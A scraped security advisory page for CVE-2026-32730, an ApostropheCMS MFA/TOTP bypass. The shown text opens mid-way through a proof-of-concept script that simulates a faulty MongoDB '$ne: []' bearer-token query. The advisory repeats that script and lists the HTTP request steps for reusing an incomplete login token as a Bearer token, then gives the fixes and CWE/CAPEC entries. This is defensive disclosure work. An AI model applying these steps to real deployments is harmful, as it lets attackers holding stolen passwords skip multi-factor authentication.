  true,  // vulnerable: ACCEPTED (BUG! $ne:[] matches ['AposTotp'])
  false  // fixed: rejected (correct)
);
if (bypass1) bypasses.push('TOTP bypass');

// 3. Token after all requirements verified (empty array, before $unset)
// After requirementVerify pulls each requirement from the array
// Token: { _id: "xxx", userId: "yyy", requirementsToVerify: [], expires: Date }
test(
  '[Token 3] All requirements verified (empty array) — should be ACCEPTED',
  { _id: 'token3', userId: 'user3', requirementsToVerify: [], expires: new Date(Date.now() + 86400000) },
  false, // vulnerable: REJECTED (BUG! $ne:[] does NOT match [])
  true   // fixed: accepted (correct)
);

// 4. Finalized token (requirementsToVerify removed via $unset)
// After finalizeIncompleteLogin calls $unset
// Token: { _id: "xxx", userId: "yyy", expires: Date }
test(
  '[Token 4] Finalized token ($unset completed) — should be ACCEPTED',
  { _id: 'token4', userId: 'user4', expires: new Date(Date.now() + 86400000) },
  true,  // vulnerable: accepted (correct)
  true   // fixed: accepted (correct)
);

// 5. Multiple unverified requirements
const bypass2 = test(
  '[Token 5] Multiple unverified requirements — should be REJECTED',
  { _id: 'token5', userId: 'user5', requirementsToVerify: ['AposTotp', 'CustomMFA'], expires: new Date(Date.now() + 3600000) },
  true,  // vulnerable: ACCEPTED (BUG!)
  false  // fixed: rejected (correct)
);
if (bypass2) bypasses.push('Multi-requirement bypass');

// Attack scenario
console.log(`${BOLD}--- Attack Scenario ---${RESET}\n`);
console.log(`  ${YELLOW}Prerequisites:${RESET}`);
console.log(`    - ApostropheCMS instance with @apostrophecms/login-totp enabled`);
console.log(`    - Attacker knows victim's username and password`);
console.log(`    - Attacker does NOT know victim's TOTP code\n`);

console.log(`  ${YELLOW}Step 1:${RESET} Attacker sends login request with valid credentials`);
console.log(`    POST /api/v1/@apostrophecms/login/login`);
console.log(`    {"username": "admin", "password": "correct_password", "session": false}\n`);

console.log(`  ${YELLOW}Step 2:${RESET} Server verifies password, returns incomplete token`);
console.log(`    Response: {"incompleteToken": "clxxxxxxxxxxxxxxxxxxxxxxxxx"}`);
console.log(`    (TOTP verification still required)\n`);

console.log(`  ${YELLOW}Step 3:${RESET} Attacker uses incompleteToken as a Bearer token`);
console.log(`    GET /api/v1/@apostrophecms/page`);
console.log(`    Authorization: Bearer clxxxxxxxxxxxxxxxxxxxxxxxxx\n`);

console.log(`  ${YELLOW}Step 4:${RESET} Bearer token middleware runs getBearer() query`);
console.log(`    MongoDB query: {`);
console.log(`      _id: "clxxxxxxxxxxxxxxxxxxxxxxxxx",`);
console.log(`      expires: { $gte: new Date() },`);
console.log(`      $or: [`);
console.log(`        { requirementsToVerify: { $exists: false } },`);
console.log(`        { requirementsToVerify: { ${RED}$ne: []${RESET} } }  // BUG!`);
console.log(`      ]`);
console.log(`    }`);
console.log(`    The token has requirementsToVerify: ["AposTotp"]`);
console.log(`    $ne: [] matches because ["AposTotp"] !== []\n`);

console.log(`  ${RED}Step 5: Attacker is fully authenticated as the victim!${RESET}`);
console.log(`    req.user is set, req.csrfExempt = true`);
console.log(`    Full API access without TOTP verification\n`);

// Summary
console.log(`${BOLD}${'='.repeat(64)}`);
console.log(`Summary`);
console.log(`${'='.repeat(64)}${RESET}`);
console.log(`  ${bypasses.length} bypass vector(s) confirmed: ${bypasses.join(', ')}\n`);
console.log(`  ${YELLOW}Root Cause:${RESET} @apostrophecms/express/index.js line 388`);
console.log(`  The MongoDB query uses $ne: [] which matches NON-empty arrays.`);
console.log(`  The comment says the array should be "empty or inexistant",`);
console.log(`  but $ne: [] matches exactly the opposite — non-empty arrays.\n`);
console.log(`  ${YELLOW}Vulnerable code:${RESET}`);
console.log(`    $or: [`);
console.log(`      { requirementsToVerify: { $exists: false } },`);
console.log(`      { requirementsToVerify: { $ne: [] } }  // BUG`);
console.log(`    ]\n`);
console.log(`  ${YELLOW}Fixed code:${RESET}`);
console.log(`    $or: [`);
console.log(`      { requirementsToVerify: { $exists: false } },`);
console.log(`      { requirementsToVerify: { $size: 0 } }  // FIX`);
console.log(`    ]\n`);
console.log(`  ${RED}Impact:${RESET} Complete MFA bypass. An attacker who knows a user's`);
console.log(`  password can skip TOTP verification and gain full authenticated`);
console.log(`  API access by using the incompleteToken as a bearer token.\n`);
console.log(`  ${YELLOW}Additional Bug:${RESET} The same $ne:[] also causes a secondary`);
console.log(`  issue where tokens with ALL requirements verified (empty array,`);
console.log(`  before the $unset runs) are incorrectly REJECTED. This is masked`);
console.log(`  by the fact that finalizeIncompleteLogin uses $unset to remove`);
console.log(`  the field entirely, so the $exists: false path is used instead.`);
console.log();
console.log();

Both bypass vectors (single and multiple unverified requirements) confirmed.

Amplifying Bug: Incorrect Token Deletion in `finalizeIncompleteLogin`

A second bug in @apostrophecms/login/index.js (lines 728-729, 735-736) amplifies the MFA bypass. When finalizeIncompleteLogin attempts to delete the incomplete token, it uses the wrong identifier:

await self.bearerTokens.removeOne({
    _id: token.userId  // BUG: should be token._id
});

The token's _id is a CUID (e.g., clxxxxxxxxx), but token.userId is the user's document ID. This means:

The incomplete token is never deleted from the database, even after a legitimate MFA-verified login
Combined with the $ne: [] bug, the incomplete token remains usable as a bearer token for its full lifetime (default: 1 hour)
Even if the legitimate user completes TOTP and logs in properly, the incomplete token persists

This bug appears at two locations in finalizeIncompleteLogin: - Line 728-729: Error case (user not found) - Line 735-736: Success case (session-based login after MFA)

Recommended Fix

Fix 1: Bearer token query (express/index.js line 388)

Replace $ne: [] with $size: 0:

$or: [
    { requirementsToVerify: { $exists: false } },
    { requirementsToVerify: { $size: 0 } }  // FIX: match empty array only
]

This ensures only tokens with no remaining requirements (empty array or absent field) are accepted as valid bearer tokens.

Fix 2: Token deletion (login/index.js lines 728-729, 735-736)

Replace token.userId with token._id:

await self.bearerTokens.removeOne({
    _id: token._id  // FIX: use the token's actual ID
});

Severity

8.1 (High)


                  
                    CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.27.1"
      },
      "package": {
        "ecosystem": "npm",
        "name": "apostrophe"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.28.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-32730"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-287",
      "CWE-305"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-18T19:48:51Z",
    "nvd_published_at": "2026-03-18T23:17:29Z",
    "severity": "HIGH"
  },
  "details": "# MFA/TOTP Bypass via Incorrect MongoDB Query in Bearer Token Middleware\n\n## Summary\n\nThe bearer token authentication middleware in `@apostrophecms/express/index.js` (lines 386-389) contains an incorrect MongoDB query that allows incomplete login tokens \u2014 where the password was verified but TOTP/MFA requirements were NOT \u2014 to be used as fully authenticated bearer tokens. This completely bypasses multi-factor authentication for any ApostropheCMS deployment using `@apostrophecms/login-totp` or any custom `afterPasswordVerified` login requirement.\n\n## Severity\n\nThe AC is High because the attacker must first obtain the victim\u0027s password. However, the entire purpose of MFA is to protect accounts when passwords are compromised (credential stuffing, phishing, database breaches), so this bypass negates the security control entirely.\n\n## Affected Versions\n\nAll versions of ApostropheCMS from 3.0.0 to 4.27.1, when used with `@apostrophecms/login-totp` or any custom `afterPasswordVerified` requirement.\n\n## Root Cause\n\nIn `packages/apostrophe/modules/@apostrophecms/express/index.js`, the `getBearer()` function (line 377) queries MongoDB for valid bearer tokens. The query at lines 386-389 is intended to only match tokens where the `requirementsToVerify` array is either absent (no MFA configured) or empty (all MFA requirements completed):\n\n```javascript\nasync function getBearer() {\n    const bearer = await self.apos.login.bearerTokens.findOne({\n        _id: req.token,\n        expires: { $gte: new Date() },\n        // requirementsToVerify array should be empty or inexistant\n        // for the token to be usable to log in.\n        $or: [\n            { requirementsToVerify: { $exists: false } },\n            { requirementsToVerify: { $ne: [] } }  // BUG\n        ]\n    });\n    return bearer \u0026\u0026 bearer.userId;\n}\n```\n\nThe comment correctly states the intent: the array should be \"empty or inexistant.\" However, the MongoDB operator `$ne: []` matches documents where `requirementsToVerify` is **NOT** an empty array \u2014 meaning it matches tokens that still have **unverified requirements**. This is the exact opposite of the intended behavior.\n\n| Token State | `requirementsToVerify` | `$ne: []` result | Should match? |\n|---|---|---|---|\n| No MFA configured | *(field absent)* | N/A (`$exists: false` matches) | Yes |\n| TOTP pending | `[\"AposTotp\"]` | `true` (BUG!) | **No** |\n| All verified | `[]` | `false` (BUG!) | **Yes** |\n| Field removed (`$unset`) | *(field absent)* | N/A (`$exists: false` matches) | Yes |\n\n## Attack Scenario\n\n### Prerequisites\n- ApostropheCMS instance with `@apostrophecms/login-totp` enabled\n- Attacker knows the victim\u0027s username and password (e.g., from credential stuffing, phishing, or a database breach)\n- Attacker does NOT know the victim\u0027s TOTP secret/code\n\n### Steps\n\n1. **Authenticate with password only:**\n   ```\n   POST /api/v1/@apostrophecms/login/login\n   Content-Type: application/json\n\n   {\"username\": \"admin\", \"password\": \"correct_password\", \"session\": false}\n   ```\n\n2. **Receive incomplete token** (server correctly requires TOTP):\n   ```json\n   {\"incompleteToken\": \"clxxxxxxxxxxxxxxxxxxxxxxxxx\"}\n   ```\n\n3. **Use incomplete token as bearer token** (bypassing TOTP):\n   ```\n   GET /api/v1/@apostrophecms/page\n   Authorization: Bearer clxxxxxxxxxxxxxxxxxxxxxxxxx\n   ```\n\n4. **Full authenticated access granted.** The bearer token middleware matches the token because `requirementsToVerify: [\"AposTotp\"]` satisfies `$ne: []`. The attacker has complete API access as the victim without ever providing a TOTP code.\n\n## Proof of Concept\n\nSee `mfa-bypass-poc.js` \u2014 demonstrates the query logic bug with all token states. Run:\n\n```bash\n#!/usr/bin/env node\n/**\n * PoC: MFA/TOTP Bypass via Incorrect MongoDB Query in Bearer Token Middleware\n *\n * ApostropheCMS\u0027s bearer token middleware in @apostrophecms/express/index.js\n * has a logic error in the MongoDB query that validates bearer tokens.\n *\n * The comment says:\n *   \"requirementsToVerify array should be empty or inexistant\n *    for the token to be usable to log in.\"\n *\n * But the actual query uses `$ne: []` (NOT equal to empty array),\n * which matches tokens WITH unverified requirements \u2014 the exact opposite\n * of the intended behavior.\n *\n * This allows an attacker who knows a user\u0027s password (but NOT their\n * TOTP code) to use the \"incompleteToken\" returned after password\n * verification as a fully authenticated bearer token, bypassing MFA.\n *\n * Affected: ApostropheCMS with @apostrophecms/login-totp (or any\n * custom afterPasswordVerified requirement)\n *\n * File: packages/apostrophe/modules/@apostrophecms/express/index.js:386-389\n */\n\nconst RED = \u0027\\x1b[91m\u0027;\nconst GREEN = \u0027\\x1b[92m\u0027;\nconst YELLOW = \u0027\\x1b[93m\u0027;\nconst CYAN = \u0027\\x1b[96m\u0027;\nconst RESET = \u0027\\x1b[0m\u0027;\nconst BOLD = \u0027\\x1b[1m\u0027;\n\n// Simulate MongoDB\u0027s $ne operator behavior\nfunction mongoNe(fieldValue, compareValue) {\n  // MongoDB $ne: true if field value is NOT equal to compareValue\n  // For arrays, MongoDB compares by value\n  if (Array.isArray(fieldValue) \u0026\u0026 Array.isArray(compareValue)) {\n    if (fieldValue.length !== compareValue.length) return true;\n    return fieldValue.some((v, i) =\u003e v !== compareValue[i]);\n  }\n  return fieldValue !== compareValue;\n}\n\n// Simulate MongoDB\u0027s $exists operator\nfunction mongoExists(doc, field, shouldExist) {\n  const exists = field in doc;\n  return exists === shouldExist;\n}\n\n// Simulate MongoDB\u0027s $size operator\nfunction mongoSize(fieldValue, size) {\n  if (!Array.isArray(fieldValue)) return false;\n  return fieldValue.length === size;\n}\n\n// Simulate the VULNERABLE bearer token query (line 386-389)\nfunction vulnerableQuery(token) {\n  // $or: [\n  //   { requirementsToVerify: { $exists: false } },\n  //   { requirementsToVerify: { $ne: [] } }     \u003c-- BUG\n  // ]\n  const cond1 = mongoExists(token, \u0027requirementsToVerify\u0027, false);\n  const cond2 = (\u0027requirementsToVerify\u0027 in token)\n    ? mongoNe(token.requirementsToVerify, [])\n    : false;\n  return cond1 || cond2;\n}\n\n// Simulate the FIXED bearer token query\nfunction fixedQuery(token) {\n  // $or: [\n  //   { requirementsToVerify: { $exists: false } },\n  //   { requirementsToVerify: { $size: 0 } }    \u003c-- FIX\n  // ]\n  const cond1 = mongoExists(token, \u0027requirementsToVerify\u0027, false);\n  const cond2 = (\u0027requirementsToVerify\u0027 in token)\n    ? mongoSize(token.requirementsToVerify, 0)\n    : false;\n  return cond1 || cond2;\n}\n\nfunction banner() {\n  console.log(`${CYAN}${BOLD}\n\u2554\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2557\n\u2551  ApostropheCMS MFA/TOTP Bypass PoC                              \u2551\n\u2551  Bearer Token Middleware \u2014 Incorrect MongoDB Query ($ne vs $eq)  \u2551\n\u2551  @apostrophecms/express/index.js:386-389                         \u2551\n\u255a\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u255d${RESET}\n`);\n}\n\nfunction test(name, token, expectedVuln, expectedFixed) {\n  const vulnResult = vulnerableQuery(token);\n  const fixedResult = fixedQuery(token);\n\n  const vulnCorrect = vulnResult === expectedVuln;\n  const fixedCorrect = fixedResult === expectedFixed;\n\n  console.log(`${BOLD}${name}${RESET}`);\n  console.log(`  Token: ${JSON.stringify(token)}`);\n  console.log(`  Vulnerable query matches: ${vulnResult ? GREEN + \u0027YES\u0027 : RED + \u0027NO\u0027}${RESET} (${vulnCorrect ? \u0027expected\u0027 : RED + \u0027UNEXPECTED!\u0027 + RESET})`);\n  console.log(`  Fixed query matches:      ${fixedResult ? GREEN + \u0027YES\u0027 : RED + \u0027NO\u0027}${RESET} (${fixedCorrect ? \u0027expected\u0027 : RED + \u0027UNEXPECTED!\u0027 + RESET})`);\n\n  if (vulnResult \u0026\u0026 !fixedResult) {\n    console.log(`  ${RED}=\u003e BYPASS: Token accepted by vulnerable code but rejected by fix!${RESET}`);\n  }\n  console.log();\n  return vulnResult \u0026\u0026 !fixedResult;\n}\n\n// \u2014\u2014\u2014 Main \u2014\u2014\u2014\nbanner();\nconst bypasses = [];\n\nconsole.log(`${BOLD}--- Token States During Login Flow ---${RESET}\\n`);\n\n// 1. Normal bearer token (no MFA configured)\n// Created by initialLogin when there are no lateRequirements\n// Token: { _id: \"xxx\", userId: \"yyy\", expires: Date }\n// No requirementsToVerify field at all\ntest(\n  \u0027[Token 1] Normal bearer token (no MFA) \u2014 should be ACCEPTED\u0027,\n  { _id: \u0027token1\u0027, userId: \u0027user1\u0027, expires: new Date(Date.now() + 86400000) },\n  true,  // vulnerable: accepted (correct)\n  true   // fixed: accepted (correct)\n);\n\n// 2. Incomplete token \u2014 password verified, TOTP NOT verified\n// Created by initialLogin when lateRequirements exist\n// Token: { _id: \"xxx\", userId: \"yyy\", requirementsToVerify: [\"AposTotp\"], expires: Date }\nconst bypass1 = test(\n  \u0027[Token 2] Incomplete token (TOTP NOT verified) \u2014 should be REJECTED\u0027,\n  { _id: \u0027token2\u0027, userId: \u0027user2\u0027, requirementsToVerify: [\u0027AposTotp\u0027], expires: new Date(Date.now() + 3600000) },\n  true,  // vulnerable: ACCEPTED (BUG! $ne:[] matches [\u0027AposTotp\u0027])\n  false  // fixed: rejected (correct)\n);\nif (bypass1) bypasses.push(\u0027TOTP bypass\u0027);\n\n// 3. Token after all requirements verified (empty array, before $unset)\n// After requirementVerify pulls each requirement from the array\n// Token: { _id: \"xxx\", userId: \"yyy\", requirementsToVerify: [], expires: Date }\ntest(\n  \u0027[Token 3] All requirements verified (empty array) \u2014 should be ACCEPTED\u0027,\n  { _id: \u0027token3\u0027, userId: \u0027user3\u0027, requirementsToVerify: [], expires: new Date(Date.now() + 86400000) },\n  false, // vulnerable: REJECTED (BUG! $ne:[] does NOT match [])\n  true   // fixed: accepted (correct)\n);\n\n// 4. Finalized token (requirementsToVerify removed via $unset)\n// After finalizeIncompleteLogin calls $unset\n// Token: { _id: \"xxx\", userId: \"yyy\", expires: Date }\ntest(\n  \u0027[Token 4] Finalized token ($unset completed) \u2014 should be ACCEPTED\u0027,\n  { _id: \u0027token4\u0027, userId: \u0027user4\u0027, expires: new Date(Date.now() + 86400000) },\n  true,  // vulnerable: accepted (correct)\n  true   // fixed: accepted (correct)\n);\n\n// 5. Multiple unverified requirements\nconst bypass2 = test(\n  \u0027[Token 5] Multiple unverified requirements \u2014 should be REJECTED\u0027,\n  { _id: \u0027token5\u0027, userId: \u0027user5\u0027, requirementsToVerify: [\u0027AposTotp\u0027, \u0027CustomMFA\u0027], expires: new Date(Date.now() + 3600000) },\n  true,  // vulnerable: ACCEPTED (BUG!)\n  false  // fixed: rejected (correct)\n);\nif (bypass2) bypasses.push(\u0027Multi-requirement bypass\u0027);\n\n// Attack scenario\nconsole.log(`${BOLD}--- Attack Scenario ---${RESET}\\n`);\nconsole.log(`  ${YELLOW}Prerequisites:${RESET}`);\nconsole.log(`    - ApostropheCMS instance with @apostrophecms/login-totp enabled`);\nconsole.log(`    - Attacker knows victim\u0027s username and password`);\nconsole.log(`    - Attacker does NOT know victim\u0027s TOTP code\\n`);\n\nconsole.log(`  ${YELLOW}Step 1:${RESET} Attacker sends login request with valid credentials`);\nconsole.log(`    POST /api/v1/@apostrophecms/login/login`);\nconsole.log(`    {\"username\": \"admin\", \"password\": \"correct_password\", \"session\": false}\\n`);\n\nconsole.log(`  ${YELLOW}Step 2:${RESET} Server verifies password, returns incomplete token`);\nconsole.log(`    Response: {\"incompleteToken\": \"clxxxxxxxxxxxxxxxxxxxxxxxxx\"}`);\nconsole.log(`    (TOTP verification still required)\\n`);\n\nconsole.log(`  ${YELLOW}Step 3:${RESET} Attacker uses incompleteToken as a Bearer token`);\nconsole.log(`    GET /api/v1/@apostrophecms/page`);\nconsole.log(`    Authorization: Bearer clxxxxxxxxxxxxxxxxxxxxxxxxx\\n`);\n\nconsole.log(`  ${YELLOW}Step 4:${RESET} Bearer token middleware runs getBearer() query`);\nconsole.log(`    MongoDB query: {`);\nconsole.log(`      _id: \"clxxxxxxxxxxxxxxxxxxxxxxxxx\",`);\nconsole.log(`      expires: { $gte: new Date() },`);\nconsole.log(`      $or: [`);\nconsole.log(`        { requirementsToVerify: { $exists: false } },`);\nconsole.log(`        { requirementsToVerify: { ${RED}$ne: []${RESET} } }  // BUG!`);\nconsole.log(`      ]`);\nconsole.log(`    }`);\nconsole.log(`    The token has requirementsToVerify: [\"AposTotp\"]`);\nconsole.log(`    $ne: [] matches because [\"AposTotp\"] !== []\\n`);\n\nconsole.log(`  ${RED}Step 5: Attacker is fully authenticated as the victim!${RESET}`);\nconsole.log(`    req.user is set, req.csrfExempt = true`);\nconsole.log(`    Full API access without TOTP verification\\n`);\n\n// Summary\nconsole.log(`${BOLD}${\u0027=\u0027.repeat(64)}`);\nconsole.log(`Summary`);\nconsole.log(`${\u0027=\u0027.repeat(64)}${RESET}`);\nconsole.log(`  ${bypasses.length} bypass vector(s) confirmed: ${bypasses.join(\u0027, \u0027)}\\n`);\nconsole.log(`  ${YELLOW}Root Cause:${RESET} @apostrophecms/express/index.js line 388`);\nconsole.log(`  The MongoDB query uses $ne: [] which matches NON-empty arrays.`);\nconsole.log(`  The comment says the array should be \"empty or inexistant\",`);\nconsole.log(`  but $ne: [] matches exactly the opposite \u2014 non-empty arrays.\\n`);\nconsole.log(`  ${YELLOW}Vulnerable code:${RESET}`);\nconsole.log(`    $or: [`);\nconsole.log(`      { requirementsToVerify: { $exists: false } },`);\nconsole.log(`      { requirementsToVerify: { $ne: [] } }  // BUG`);\nconsole.log(`    ]\\n`);\nconsole.log(`  ${YELLOW}Fixed code:${RESET}`);\nconsole.log(`    $or: [`);\nconsole.log(`      { requirementsToVerify: { $exists: false } },`);\nconsole.log(`      { requirementsToVerify: { $size: 0 } }  // FIX`);\nconsole.log(`    ]\\n`);\nconsole.log(`  ${RED}Impact:${RESET} Complete MFA bypass. An attacker who knows a user\u0027s`);\nconsole.log(`  password can skip TOTP verification and gain full authenticated`);\nconsole.log(`  API access by using the incompleteToken as a bearer token.\\n`);\nconsole.log(`  ${YELLOW}Additional Bug:${RESET} The same $ne:[] also causes a secondary`);\nconsole.log(`  issue where tokens with ALL requirements verified (empty array,`);\nconsole.log(`  before the $unset runs) are incorrectly REJECTED. This is masked`);\nconsole.log(`  by the fact that finalizeIncompleteLogin uses $unset to remove`);\nconsole.log(`  the field entirely, so the $exists: false path is used instead.`);\nconsole.log();\nconsole.log();\n\n```\n\nBoth bypass vectors (single and multiple unverified requirements) confirmed.\n\n## Amplifying Bug: Incorrect Token Deletion in `finalizeIncompleteLogin`\n\nA second bug in `@apostrophecms/login/index.js` (lines 728-729, 735-736) amplifies the MFA bypass. When `finalizeIncompleteLogin` attempts to delete the incomplete token, it uses the wrong identifier:\n\n```javascript\nawait self.bearerTokens.removeOne({\n    _id: token.userId  // BUG: should be token._id\n});\n```\n\nThe token\u0027s `_id` is a CUID (e.g., `clxxxxxxxxx`), but `token.userId` is the user\u0027s document ID. This means:\n\n1. The incomplete token is **never deleted** from the database, even after a legitimate MFA-verified login\n2. Combined with the `$ne: []` bug, the incomplete token remains usable as a bearer token for its full lifetime (default: 1 hour)\n3. Even if the legitimate user completes TOTP and logs in properly, the incomplete token persists\n\nThis bug appears at two locations in `finalizeIncompleteLogin`:\n- Line 728-729: Error case (user not found)\n- Line 735-736: Success case (session-based login after MFA)\n\n## Recommended Fix\n\n### Fix 1: Bearer token query (express/index.js line 388)\n\nReplace `$ne: []` with `$size: 0`:\n\n```javascript\n$or: [\n    { requirementsToVerify: { $exists: false } },\n    { requirementsToVerify: { $size: 0 } }  // FIX: match empty array only\n]\n```\n\nThis ensures only tokens with no remaining requirements (empty array or absent field) are accepted as valid bearer tokens.\n\n### Fix 2: Token deletion (login/index.js lines 728-729, 735-736)\n\nReplace `token.userId` with `token._id`:\n\n```javascript\nawait self.bearerTokens.removeOne({\n    _id: token._id  // FIX: use the token\u0027s actual ID\n});\n```",
  "id": "GHSA-v9xm-ffx2-7h35",
  "modified": "2026-03-19T21:14:07Z",
  "published": "2026-03-18T19:48:51Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/apostrophecms/apostrophe/security/advisories/GHSA-v9xm-ffx2-7h35"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-32730"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/apostrophecms/apostrophe"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "ApostropheCMS MFA/TOTP Bypass via Incorrect MongoDB Query in Bearer Token Middleware"
}

Mitigation

Architecture and Design

Strategy: Libraries or Frameworks

Use an authentication framework or library such as the OWASP ESAPI Authentication feature.

CAPEC-114: Authentication Abuse

An attacker obtains unauthorized access to an application, service or device either through knowledge of the inherent weaknesses of an authentication mechanism, or by exploiting a flaw in the authentication scheme's implementation. In such an attack an authentication mechanism is functioning but a carefully controlled sequence of events causes the mechanism to grant access to the attacker.

CAPEC-115: Authentication Bypass

An attacker gains access to application, service, or device with the privileges of an authorized or privileged user by evading or circumventing an authentication mechanism. The attacker is therefore able to access protected data without authentication ever having taken place.

CAPEC-151: Identity Spoofing

Identity Spoofing refers to the action of assuming (i.e., taking on) the identity of some other entity (human or non-human) and then using that identity to accomplish a goal. An adversary may craft messages that appear to come from a different principle or use stolen / spoofed authentication credentials.

CAPEC-194: Fake the Source of Data

An adversary takes advantage of improper authentication to provide data or services under a falsified identity. The purpose of using the falsified identity may be to prevent traceability of the provided data or to assume the rights granted to another individual. One of the simplest forms of this attack would be the creation of an email message with a modified "From" field in order to appear that the message was sent from someone other than the actual sender. The root of the attack (in this case the email system) fails to properly authenticate the source and this results in the reader incorrectly performing the instructed action. Results of the attack vary depending on the details of the attack, but common results include privilege escalation, obfuscation of other attacks, and data corruption/manipulation.

CAPEC-22: Exploiting Trust in Client

An attack of this type exploits vulnerabilities in client/server communication channel authentication and data integrity. It leverages the implicit trust a server places in the client, or more importantly, that which the server believes is the client. An attacker executes this type of attack by communicating directly with the server where the server believes it is communicating only with a valid client. There are numerous variations of this type of attack.

CAPEC-57: Utilizing REST's Trust in the System Resource to Obtain Sensitive Data

This attack utilizes a REST(REpresentational State Transfer)-style applications' trust in the system resources and environment to obtain sensitive data once SSL is terminated.

CAPEC-593: Session Hijacking

This type of attack involves an adversary that exploits weaknesses in an application's use of sessions in performing authentication. The adversary is able to steal or manipulate an active session and use it to gain unathorized access to the application.

CAPEC-633: Token Impersonation

An adversary exploits a weakness in authentication to create an access token (or equivalent) that impersonates a different entity, and then associates a process/thread to that that impersonated token. This action causes a downstream user to make a decision or take action that is based on the assumed identity, and not the response that blocks the adversary.

CAPEC-650: Upload a Web Shell to a Web Server

By exploiting insufficient permissions, it is possible to upload a web shell to a web server in such a way that it can be executed remotely. This shell can have various capabilities, thereby acting as a "gateway" to the underlying web server. The shell might execute at the higher permission level of the web server, providing the ability the execute malicious code at elevated levels.

CAPEC-94: Adversary in the Middle (AiTM)

An adversary targets the communication between two components (typically client and server), in order to alter or obtain data from transactions. A general approach entails the adversary placing themself within the communication channel between the two components.

← Back to the CWE list

CWE-287

Improper Authentication

Impact

Patches

Workarounds

References

Impact

Patches

References

Reporter

MFA/TOTP Bypass via Incorrect MongoDB Query in Bearer Token Middleware

Summary

Severity

Affected Versions

Root Cause

Attack Scenario

Prerequisites

Steps

Proof of Concept

Amplifying Bug: Incorrect Token Deletion in finalizeIncompleteLogin

Recommended Fix

Fix 1: Bearer token query (express/index.js line 388)

Fix 2: Token deletion (login/index.js lines 728-729, 735-736)

Mitigation

CAPEC-114: Authentication Abuse

CAPEC-115: Authentication Bypass

CAPEC-151: Identity Spoofing

CAPEC-194: Fake the Source of Data

CAPEC-22: Exploiting Trust in Client

CAPEC-57: Utilizing REST's Trust in the System Resource to Obtain Sensitive Data

CAPEC-593: Session Hijacking

CAPEC-633: Token Impersonation

CAPEC-650: Upload a Web Shell to a Web Server

CAPEC-94: Adversary in the Middle (AiTM)

Amplifying Bug: Incorrect Token Deletion in `finalizeIncompleteLogin`